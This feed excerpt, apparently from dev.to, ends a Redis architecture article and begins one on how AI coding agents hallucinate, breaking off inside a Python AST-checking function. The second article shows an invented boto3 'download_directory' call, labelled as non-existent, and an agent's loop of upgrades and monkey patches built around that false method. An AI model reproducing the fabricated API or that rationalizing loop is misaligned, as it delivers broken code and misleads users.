&lt;p&gt;A skip list is a layered linked list where nodes are assigned random forward pointers (levels) based on a geometric distribution. &lt;/p&gt;

&lt;p&gt;Why did Redis choose skip lists over balanced trees?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Range Queries are Trivial:&lt;/strong&gt; In a skip list, the bottom level is a standard doubly-linked list. Executing &lt;code&gt;ZRANGEBYSCORE&lt;/code&gt; or pagination simply searches for the lower bound in $O(\log N)$ time, and then traverses adjacent pointers sequentially in $O(M)$ time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Simpler Memory Management:&lt;/strong&gt; Rebalancing a Red-Black tree requires tree rotations, which mutate parent, left, and right pointers across multiple nodes, trashing CPU caches and complicating concurrent extensions. Inserting into a skip list only updates local pointers of predecessor nodes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Better Cache Density:&lt;/strong&gt; Skip list nodes have smaller overhead per element compared to balanced tree nodes that require parent pointers, color bits, and balance factors.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  4. What Redis 6.0+ Threaded I/O Actually Did
&lt;/h2&gt;

&lt;p&gt;In Redis 6.0, an important architectural enhancement arrived: &lt;strong&gt;I/O Threads&lt;/strong&gt; (&lt;code&gt;io-threads&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Many headlines proclaimed: &lt;em&gt;"Redis is finally multi-threaded!"&lt;/em&gt; That was deeply misleading.&lt;/p&gt;

&lt;p&gt;Profile an active Redis instance under 150,000 requests per second with small payloads, and you will discover that the CPU spends:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;~15%&lt;/strong&gt; of its time reading and modifying data structures in RAM.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;~85%&lt;/strong&gt; of its time reading bytes from network sockets into memory buffers, parsing the RESP protocol strings, and writing formatted response packets back out to network system calls (&lt;code&gt;read()&lt;/code&gt;, &lt;code&gt;write()&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The execution of the command itself is blisteringly fast. The network transport serialization is what burns CPU cycles.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Incoming Network Packets
         |
         v
+------------------+------------------+
| I/O Thread 1     | I/O Thread 2     |  &amp;lt;-- Parallel Socket Reads &amp;amp; RESP Parsing
+------------------+------------------+
         |                  |
         +--------+---------+
                  |
                  v
       +----------------------+
       |     MAIN THREAD      |  &amp;lt;-- 100% SINGLE-THREADED COMMAND EXECUTION
       | (Atomic, No Mutexes) |      (GET, SET, HSET, ZADD)
       +----------------------+
                  |
         +--------+---------+
         |                  |
         v                  v
+------------------+------------------+
| I/O Thread 1     | I/O Thread 2     |  &amp;lt;-- Parallel Socket Writes &amp;amp; Network I/O
+------------------+------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Redis 6.0 introduced threaded I/O while strictly preserving the single-threaded execution model:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Background I/O Threads:&lt;/strong&gt; Multiple threads read incoming buffers from client sockets and parse raw network packets into executable commands.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Main Thread:&lt;/strong&gt; The single main thread executes the parsed commands against the dataset in memory sequentially. It remains 100% lock-free and atomic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Background I/O Threads:&lt;/strong&gt; Once execution completes, the background I/O threads take the output buffers and write them back down to the TCP sockets in parallel.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This design delivers a 2x to 3x throughput improvement on multi-core servers without sacrificing the simplicity and consistency of lock-free data structures.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. The Production Traps That Break Single-Threaded Redis
&lt;/h2&gt;

&lt;p&gt;Understanding that Redis runs on a single event loop explains why certain practices that are harmless in PostgreSQL or MongoDB will catastrophically bring down a Redis instance.&lt;/p&gt;

&lt;h3&gt;
  
  
  Trap 1: The O(N) Command Freeze
&lt;/h3&gt;

&lt;p&gt;In a multi-threaded database, running a poorly indexed query consumes one connection and one thread; other queries continue executing on other cores.&lt;/p&gt;

&lt;p&gt;In Redis, running an $O(N)$ command against a large dataset locks the &lt;strong&gt;entire server&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;KEYS *&lt;/code&gt; on a database with 5 million keys will block the event loop for 1.5 seconds. During those 1.5 seconds, every single &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;SET&lt;/code&gt;, or health-check ping from every other service in your cluster stalls.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;HGETALL&lt;/code&gt; on a hash with 100,000 fields blocks the event loop while serializing the massive response.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SMEMBERS&lt;/code&gt; on a set with hundreds of thousands of members.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Never use &lt;code&gt;KEYS&lt;/code&gt; in production; use cursor-based iteration with &lt;code&gt;SCAN&lt;/code&gt;. For large collections, use &lt;code&gt;HSCAN&lt;/code&gt;, &lt;code&gt;SSCAN&lt;/code&gt;, and &lt;code&gt;ZSCAN&lt;/code&gt;, or store data across sharded buckets.&lt;/p&gt;

&lt;h3&gt;
  
  
  Trap 2: The Fork and Copy-on-Write Memory Spike
&lt;/h3&gt;

&lt;p&gt;To produce persistent snapshots on disk (&lt;code&gt;BGSAVE&lt;/code&gt;) or rewrite the append-only file (&lt;code&gt;BGREWRITEAOF&lt;/code&gt;), Redis does not iterate over its keyspace while serving traffic. Instead, it calls the Linux system call &lt;code&gt;fork()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;fork()&lt;/code&gt; spawns a child process that shares the exact same memory pages as the parent process via operating system &lt;strong&gt;Copy-on-Write (CoW)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When the parent process writes to a memory page while the child process is dumping the snapshot to disk, the Linux kernel duplicates that specific 4KB memory page so the parent can modify it without corrupting the child's snapshot.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Failure Mode:&lt;/strong&gt; If you have a write-heavy workload while a snapshot is running, Copy-on-Write can duplicate hundreds of thousands of memory pages. A 16GB Redis instance can suddenly require 28GB of RAM. If total memory exceeds physical RAM, the Linux Out-Of-Memory (OOM) Killer will abruptly terminate your Redis process (&lt;code&gt;SIGKILL&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  Trap 3: The Swap Death Spiral
&lt;/h3&gt;

&lt;p&gt;Because Redis relies on microsecond-level memory access, operating system swapping is fatal.&lt;/p&gt;

&lt;p&gt;If the Linux virtual memory manager swaps even a few hundred megabytes of Redis memory to disk or NVMe swap space, an incoming &lt;code&gt;GET&lt;/code&gt; command that hits a swapped page causes a &lt;strong&gt;major page fault&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;The single Redis thread halts and waits for the OS kernel to read the page from disk back into DRAM. A sub-millisecond query turns into a 20-millisecond lockup. Because all incoming connections share that single thread, connection pools queue up, timeouts trigger across all upstream microservices, and cascading failures ripple through your application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Always set &lt;code&gt;vm.overcommit_memory = 1&lt;/code&gt; in Linux sysctl, configure a conservative &lt;code&gt;maxmemory&lt;/code&gt; limit with an eviction policy (&lt;code&gt;volatile-lru&lt;/code&gt; or &lt;code&gt;allkeys-lru&lt;/code&gt;), and disable swap or configure swapiness (&lt;code&gt;vm.swappiness = 1&lt;/code&gt; or &lt;code&gt;0&lt;/code&gt;).&lt;/p&gt;




&lt;h2&gt;
  
  
  6. The Architecture Comparison: Redis vs Memcached vs KeyDB
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Architectural Feature&lt;/th&gt;
&lt;th&gt;Redis (Core Engine)&lt;/th&gt;
&lt;th&gt;Memcached&lt;/th&gt;
&lt;th&gt;KeyDB (Multithreaded Fork)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Execution Model&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Single-threaded Reactor loop&lt;/td&gt;
&lt;td&gt;Multithreaded with per-thread event loops&lt;/td&gt;
&lt;td&gt;Multithreaded shared-nothing / fine-grained locks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Network I/O&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Optional threaded I/O (v6.0+)&lt;/td&gt;
&lt;td&gt;Fully multithreaded (libevent)&lt;/td&gt;
&lt;td&gt;Fully multithreaded&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Locking Overhead&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (zero mutexes on data path)&lt;/td&gt;
&lt;td&gt;Bucket-level / item-level mutexes&lt;/td&gt;
&lt;td&gt;Spinlocks &amp;amp; read-copy-update (RCU)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Data Types&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Strings, Hashes, Lists, Sets, ZSets, Streams, Bitmaps, HyperLogLog&lt;/td&gt;
&lt;td&gt;Raw Strings / Byte Blobs only&lt;/td&gt;
&lt;td&gt;Same as Redis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Persistence&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RDB snapshots + AOF write-ahead log&lt;/td&gt;
&lt;td&gt;None (pure in-memory cache)&lt;/td&gt;
&lt;td&gt;RDB + AOF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Sub-millisecond p99&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Consistently predictable (no lock jitter)&lt;/td&gt;
&lt;td&gt;Susceptible to lock contention under key hotspots&lt;/td&gt;
&lt;td&gt;High throughput, slightly higher variance&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Summary: The Senior Developer Mental Model
&lt;/h2&gt;

&lt;p&gt;Redis is not fast &lt;em&gt;despite&lt;/em&gt; being single-threaded. &lt;strong&gt;It is fast precisely because it is single-threaded in an in-memory, memory-bound problem space.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When building or debugging systems that rely on Redis, keep this mental model clear:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;CPU is rarely the limit:&lt;/strong&gt; You will almost always run out of memory bandwidth, network bandwidth, or physical RAM long before you saturate the CPU core executing command logic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Atomicity is free:&lt;/strong&gt; Because command execution is serialized on one thread, operations like &lt;code&gt;INCR&lt;/code&gt;, &lt;code&gt;HSET&lt;/code&gt;, and Lua scripts are inherently transactional without requiring distributed transactions or 2-phase commits.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One bad query ruins the party:&lt;/strong&gt; Because there is only one worker on the floor, an $O(N)$ command does not just slow down the caller; it suspends time for every service connected to that instance.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Architectural performance is never about throwing more threads at a problem. It is about identifying the true physical bottleneck of your hardware and stripping away every layer of abstraction that gets in the way.&lt;/p&gt;

</description>
      <category>redis</category>
      <category>architecture</category>
      <category>database</category>
      <category>performance</category>
    </item>
    <item>
      <title>What Actually Happens When Your AI Agent Hallucinates: The Real Mechanics Behind Confidently Wrong Code</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Wed, 11 Nov 2026 12:37:31 +0000</pubDate>
      <link>https://dev.to/syed_anzar/what-actually-happens-when-your-ai-agent-hallucinates-the-real-mechanics-behind-confidently-wrong-10bf</link>
      <guid>https://dev.to/syed_anzar/what-actually-happens-when-your-ai-agent-hallucinates-the-real-mechanics-behind-confidently-wrong-10bf</guid>
      <description>&lt;h1&gt;
  
  
  What Actually Happens When Your AI Agent Hallucinates: The Real Mechanics Behind Confidently Wrong Code
&lt;/h1&gt;

&lt;p&gt;If you have spent more than an hour building with autonomous coding agents (Claude Code, Cursor, OpenHands, or custom ReAct pipelines), you have run into a very specific kind of hallucination.&lt;/p&gt;

&lt;p&gt;The model writes forty lines of clean, idiomatic code. It imports &lt;code&gt;boto3&lt;/code&gt;, configures a client, and writes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;s3_client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;download_directory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nc"&gt;Bucket&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"production-assets"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nc"&gt;Prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"models/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nc"&gt;TargetDirectory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"./cache"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It formats the parameters cleanly, wraps the call in proper error handling, logs the start and finish times, and outputs a polite message explaining why it chose this method.&lt;/p&gt;

&lt;p&gt;You run the script, and the Python interpreter halts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AttributeError: 'S3' object has no attribute 'download_directory'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;boto3&lt;/code&gt; does not have a &lt;code&gt;download_directory&lt;/code&gt; method. It never has. To download a folder from S3, you either iterate over object keys with &lt;code&gt;list_objects_v2&lt;/code&gt; or pull in the &lt;code&gt;s3transfer&lt;/code&gt; manager.&lt;/p&gt;

&lt;p&gt;Now comes the strangest part. If you open a completely fresh terminal window, paste that exact snippet, and ask the same model: &lt;em&gt;"Does boto3's S3 client have a method called download_directory?"&lt;/em&gt;, it will immediately answer:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;No. The boto3 S3 client does not provide a &lt;code&gt;download_directory&lt;/code&gt; method. You must list the objects in the bucket and download each key individually, or use the AWS TransferManager.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The model possesses the correct factual knowledge. It knows the API does not exist. Yet three seconds earlier, it generated the non-existent call with complete confidence.&lt;/p&gt;

&lt;p&gt;Why does an LLM know the truth in isolation, but lie during code generation?&lt;/p&gt;

&lt;p&gt;The answer lies in how autoregressive transformers actually sample tokens, how error entropy propagates through attention layers, and why multi-turn agent loops turn minor probabilistic slips into structural lies.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Isolation Paradox: Why Models Know Better but Do It Anyway
&lt;/h2&gt;

&lt;p&gt;In 2023, researchers at Stanford and NYU published a paper titled &lt;em&gt;How Language Model Hallucinations Can Snowball&lt;/em&gt; (Zhang et al.). They tested state-of-the-art models on reasoning and factual tasks to see whether hallucinations stemmed from simple knowledge gaps.&lt;/p&gt;

&lt;p&gt;Their finding was striking: when models produced incorrect claims inside explanations, they were able to correctly identify their own claims as false &lt;strong&gt;between 67% and 87% of the time&lt;/strong&gt; when those exact claims were evaluated in isolation.&lt;/p&gt;

&lt;p&gt;The model did not invent &lt;code&gt;download_directory&lt;/code&gt; because its training data lacked AWS documentation. The hallucination occurred because generation is a sequential path through probability space. Once the model takes a single step off the path, the objective function forces it to keep walking in the wrong direction.&lt;/p&gt;

&lt;p&gt;To understand why, we have to look at how transformer decoding actually handles memory.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Permanent Ink Problem
&lt;/h2&gt;

&lt;p&gt;Autoregressive models generate text by computing a conditional probability distribution over a vocabulary $V$:&lt;/p&gt;

&lt;p&gt;$$P(y_1, y_2, \dots, y_T \mid x) = \prod_{t=1}^T P(y_t \mid y_{&amp;lt;t}, x)$$&lt;/p&gt;

&lt;p&gt;Every single token $y_t$ is sampled based on the original prompt $x$ and the accumulated history of previous tokens $y_{&amp;lt;t}$.&lt;/p&gt;

&lt;p&gt;Once a token is sampled, it is appended to the context window and committed to the Key-Value (KV) cache. In traditional transformer decoding, there is no eraser. As researchers at Lacuna noted, autoregressive generation writes in &lt;strong&gt;permanent ink&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;During pre-training, the model is trained with next-token cross-entropy loss:&lt;/p&gt;

&lt;p&gt;$$\mathcal{L}&lt;em&gt;{CE} = - \sum&lt;/em&gt;{t=1}^T \log P(y_t \mid y_{&amp;lt;t}, x)$$&lt;/p&gt;

&lt;p&gt;Notice what this loss function rewards. It does not evaluate your code against a running Python interpreter. It evaluates &lt;strong&gt;sequence coherence&lt;/strong&gt;. It measures how well the token $y_t$ flows from the tokens that came before it.&lt;/p&gt;

&lt;p&gt;Now, follow the sampling mechanics at step $t$:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The model reaches the point where it needs to download an S3 directory.&lt;/li&gt;
&lt;li&gt;In Python libraries across GitHub, downloading a folder is commonly named &lt;code&gt;download_directory&lt;/code&gt;, &lt;code&gt;download_dir&lt;/code&gt;, or &lt;code&gt;sync_folder&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In the model's high-dimensional latent space, the token vector for &lt;code&gt;download_&lt;/code&gt; gets a slight logit boost due to semantic proximity to the user's intent.&lt;/li&gt;
&lt;li&gt;The sampler picks &lt;code&gt;download_directory&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The permanent ink has dried. That token is now an immutable premise in the context window $y_{&amp;lt;t}$.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Persistence Asymmetry: Why the Model Looks 100% Confident
&lt;/h2&gt;

&lt;p&gt;Here is where the architecture creates a deceptive illusion of confidence.&lt;/p&gt;

&lt;p&gt;You might assume that if a model is writing fake code, its internal uncertainty would stay elevated throughout the response. Recent research on autoregressive risk (such as arXiv:2607.18292) proves that the exact opposite occurs.&lt;/p&gt;

&lt;p&gt;When the model samples an ungrounded token at step $t^*$, its self-readable uncertainty (measured by Shannon entropy over the next-token probability distribution, $H(p)$) might show a brief, single-token spike:&lt;/p&gt;

&lt;p&gt;$$H(p_t) = - \sum_{w \in V} P(w \mid y_{&amp;lt;t}) \log P(w \mid y_{&amp;lt;t})$$&lt;/p&gt;

&lt;p&gt;However, for all steps $t &amp;gt; t^&lt;em&gt;$, **the entropy immediately drops back to near zero&lt;/em&gt;*.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Token Generation:   [s3_client] . [download_directory] ( [Bucket] = ... )
Entropy H(p):          0.12            1.84 (spike)       0.04    0.02
Model State:        Normal          Transient wobble     Absolute certainty
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why does this happen?&lt;/p&gt;

&lt;p&gt;Once &lt;code&gt;s3_client.download_directory(&lt;/code&gt; sits in the context, what token should come next? Obviously an opening quotation mark, followed by a valid bucket name, followed by keyword arguments that look like S3 options (&lt;code&gt;Bucket&lt;/code&gt;, &lt;code&gt;Prefix&lt;/code&gt;, &lt;code&gt;TargetDirectory&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The model is no longer deciding &lt;em&gt;whether&lt;/em&gt; the method exists. Given that the prefix contains &lt;code&gt;s3_client.download_directory(&lt;/code&gt;, predicting matching parameter names has an extremely high conditional probability.&lt;/p&gt;

&lt;p&gt;The model is 99% confident on every subsequent token. Its internal entropy is low. If you evaluate token probabilities, each token has near-maximum likelihood.&lt;/p&gt;

&lt;p&gt;This is the &lt;strong&gt;Persistence Asymmetry&lt;/strong&gt;: momentary sampling risk transforms instantly into permanent context bias. The model feels completely certain because the rest of the sentence is locally coherent with its own earlier mistake.&lt;/p&gt;




&lt;h2&gt;
  
  
  Rationalization Networks: Why Models Refuse to Backtrack
&lt;/h2&gt;

&lt;p&gt;Once the hallucinated method is on the page, the model faces a mathematical dilemma:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Option A:&lt;/strong&gt; Contradict itself midway through generation and say, &lt;em&gt;"Wait, boto3 does not have this method."&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Option B:&lt;/strong&gt; Continue writing clean, matching arguments, docstrings, and error handling that treat the method as real.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Under standard language modeling objectives, Option A is disastrous. In the training corpus (millions of clean GitHub repositories and technical manuals), well-written code does not stop in the middle of a function call to declare that the preceding identifier was imaginary. Sudden contradictions introduce massive perplexity spikes.&lt;/p&gt;

&lt;p&gt;Option B, on the other hand, preserves local and global syntax. It scores high under the language model's objective.&lt;/p&gt;

&lt;p&gt;The model builds what researchers call a &lt;strong&gt;Rationalization Network&lt;/strong&gt;. It fabricates plausible keyword arguments (&lt;code&gt;MaxKeys&lt;/code&gt;, &lt;code&gt;Delimiter&lt;/code&gt;, &lt;code&gt;Workers&lt;/code&gt;), wraps the block in &lt;code&gt;botocore.exceptions.ClientError&lt;/code&gt;, and documents the return type.&lt;/p&gt;

&lt;p&gt;The model is not trying to deceive you. It is optimizing for what it was built to do: completing a coherent sequence of tokens.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Multi-Turn Agent Cascade: How ReAct Loops Turn Slips into Disasters
&lt;/h2&gt;

&lt;p&gt;In a simple chat window, you see the fake method, delete it, and move on. But in an autonomous coding agent running a ReAct (Reasoning + Acting) loop, this mechanism triggers catastrophic failures.&lt;/p&gt;

&lt;p&gt;Consider what happens inside an agent harness:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Step 1: Thought]  I will download the directory from S3 using boto3.
[Step 1: Action]   Run python script with download_directory().
[Step 1: Result]   AttributeError: 'S3' object has no attribute 'download_directory'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this moment, a human engineer recognizes that the method does not exist, opens the boto3 documentation, and checks the real API.&lt;/p&gt;

&lt;p&gt;What does the agent do?&lt;/p&gt;

&lt;p&gt;The agent's next step receives a prompt containing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user's original objective.&lt;/li&gt;
&lt;li&gt;The agent's own previous code (containing &lt;code&gt;download_directory&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The traceback from the Python interpreter.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The agent's attention heads now attend heavily to the tokens already in the context. Instead of questioning the foundational assumption, the model frequently assumes that the method exists, but its &lt;em&gt;usage&lt;/em&gt; or &lt;em&gt;environment&lt;/em&gt; was wrong.&lt;/p&gt;

&lt;p&gt;It enters a rationalization spiral:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Iteration 1:&lt;/strong&gt; &lt;em&gt;"The method failed. Perhaps boto3 requires an updated version."&lt;/em&gt; It runs &lt;code&gt;pip install --upgrade boto3&lt;/code&gt;. The error repeats.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Iteration 2:&lt;/strong&gt; &lt;em&gt;"The method might be on the Resource instead of the Client."&lt;/em&gt; It changes &lt;code&gt;boto3.client('s3')&lt;/code&gt; to &lt;code&gt;boto3.resource('s3')&lt;/code&gt; and calls &lt;code&gt;s3_resource.download_directory()&lt;/code&gt;. The error repeats.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Iteration 3:&lt;/strong&gt; &lt;em&gt;"Let me create a wrapper class to fix the dispatch."&lt;/em&gt; It writes a twenty-line monkey patch attempting to route &lt;code&gt;download_directory&lt;/code&gt; to internal S3 handlers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By iteration three, the context window contains hundreds of tokens discussing how to fix &lt;code&gt;download_directory&lt;/code&gt;. The hallucination is no longer a single mispredicted token; it is the central topic of the conversation.&lt;/p&gt;

&lt;p&gt;The probability of the model breaking out of this loop spontaneously approaches zero. Every new iteration reinforces the faulty premise.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Bigger Models Sometimes Hallucinate More Convincingly
&lt;/h2&gt;

&lt;p&gt;You might expect that scaling from an 8-billion parameter model to a 70-billion or 400-billion parameter model eliminates this behavior.&lt;/p&gt;

&lt;p&gt;It does reduce the initial probability of the mistake. Larger models have seen boto3 examples more times during training, so their base factual accuracy is higher.&lt;/p&gt;

&lt;p&gt;However, when an error &lt;em&gt;does&lt;/em&gt; slip through, larger models fail more elegantly.&lt;/p&gt;

&lt;p&gt;A smaller model making a mistake often produces invalid Python syntax or a broken AST that fails immediately in a linter. A frontier model, possessing vast knowledge of API design patterns, invents an architecture that is syntactically pristine, fully typed, and logically self-consistent. It writes docstrings explaining edge cases for an API that does not exist.&lt;/p&gt;

&lt;p&gt;Larger models have greater capacity for rationalization. They build stronger, more elaborate logical scaffolding around false premises.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Break the Permanent Ink: Engineering Grounded Agent Harnesses
&lt;/h2&gt;

&lt;p&gt;You cannot fix autoregressive hallucination by adding phrases like &lt;em&gt;"Think carefully and never hallucinate"&lt;/em&gt; to your system prompt. Prompt directives do not alter the mathematical realities of next-token sampling.&lt;/p&gt;

&lt;p&gt;To prevent agents from hallucinating code, you have to break the permanent ink constraint at the systems level.&lt;/p&gt;

&lt;p&gt;Here are the three architectural patterns that actually work in production:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Deterministic AST and Library Introspection
&lt;/h3&gt;

&lt;p&gt;Do not rely on the LLM to verify whether an API exists. Let your execution environment verify it using deterministic static analysis.&lt;/p&gt;

&lt;p&gt;Before passing generated code to execution, parse it into an Abstract Syntax Tree (AST) using Python's standard &lt;code&gt;ast&lt;/code&gt; module or Tree-sitter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;importlib&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;inspect&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;audit_call_sites&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;source_code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;tree&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;source_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;issues&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tree&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Call&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Attribute&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
